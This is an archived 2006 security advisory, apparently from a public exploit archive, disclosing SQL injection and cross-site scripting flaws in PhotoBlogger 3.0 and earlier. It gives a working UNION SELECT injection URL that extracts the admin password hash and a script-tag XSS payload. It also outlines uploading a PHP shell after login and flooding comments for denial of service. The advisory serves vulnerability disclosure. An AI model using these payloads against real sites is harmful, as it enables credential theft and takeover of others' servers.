what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Advisory-20.txt

Advisory-20.txt
Posted Mar 8, 2006
Authored by Paisterist | Site neosecurityteam.net

PhotoBlogger versions 3.0 and below suffer from cross site scripting and SQL injection vulnerabilities.

tags | exploit, vulnerability, xss, sql injection
SHA-256 | 449c56de560d9b374c3a92df9c3cdb251ac391d51f429449f2f2cbaf9334ecc7

Advisory-20.txt

Change Mirror Download
/*
--------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST]� - Advisory #20 - 04/03/06
--------------------------------------------------------
Program: Pixel Post
Homepage: http://photoblogger.halof.de/
Vulnerable Versions: 3.0 and lower versions.
Risk: High!
Impact: Critical Risk

-==Phtoblogger <= 3.0 XSS & SQL Injection Vulnerabilities==-
---------------------------------------------------------

- Description
---------------------------------------------------------
PhotoBlogger is a customizable script that offers easy photoblog managing.
You can batch upload images, add your own text to every image and you can fully customize the layout of your photoblog.

- Tested
---------------------------------------------------------
localhost & many sites

- Explotation
---------------------------------------------------------

1)

Vulnerable code:

magic_quotes_gpc must be Off in order to exploit it.

==[ comments.php 89-90 ]==========================
[...]
if ($id){
$result = mysql_query("SELECT $table_images.file AS file, title, date, text FROM $table_images WHERE id = $id");
$file = mysql_result($result,0,"file");
$title = mysql_result($result,0,"title");
$description = mysql_result($result,0,"text");
[...]
==[ end index.php ]==========================

$id is the variable that is used to get the image data and is not correctly parsed, so we can inject sql code.
The point is that the script checks some fields, but not the filename.

So we are going to use the UNION statement to select the admin data. Also we have to know the prefix table, which is photoblogger_ by default.
Here below you can see an SQL Injection Proof of Concept.

PoC:
---------------------------------------------------------

http://[site]/[photoblogger_path]/comments.php?id=23 UNION SELECT password AS title, mail_text AS file, mail_sender AS date, mail_subject as text FROM photoblogger_other

Note: the id image has to be an invalid id. This way, we get the admin hash.

When you do this request, you don't see the image, but if you check the source code you can find something like this:

<br>
<img src="images/thumb/e10adc3949ba59abbe56e057f20f883e" alt="" /><br /><br />
<br>

The filename that was overwritten in the sql query, is now the admin hash e10adc3949ba59abbe56e057f20f883e ;)

Then you have to crack with brute forcing the md5 hash.

2)

When you add a coment you can make an HTML Injection, without ' because there are parsed with the function addslashes().
With the HTML & JavaScript Code Injection you can steal cookies, put any html tag, redirect the comments page to another site, etc.

Proof of Concept:

Value: "><script>alert("XSS");</script> (put this in all the fields).

3)
When you obtain the admin password decrypted you can upload any kind of files in the upload images section, like a php shell, a directory explorer or whatever.

The application was not fully tested and there other vulnerabilities, but is not useful to keep searching, this bugs are the criticals. Another example is that you can post all messages you want, so you can make a script for do a DoS attack by the comments section ;).


- References
--------------------------------------------------------
http://www.neosecurityteam.net/index.php?action=advisories&id=20

- Credits
-------------------------------------------------
Discovered by Paisterist -> paisterist.nst [at] gmail [dot] com

[N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/


- Greets
--------------------------------------------------------
Knightmare
HaCkZaTaN
K4P0
Daemon21
Link
LINUX

Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!!

@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
'@@@@@''@@'@@@''''''''@@''@@@''@@
'@@'@@@@@@''@@@@@@ @@@'''''@@@
'@@'''@@@@'''''''''@@@''''@@@
@@@@''''@@'@@@@@@@@@@''''@@@@@

/* EOF */
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close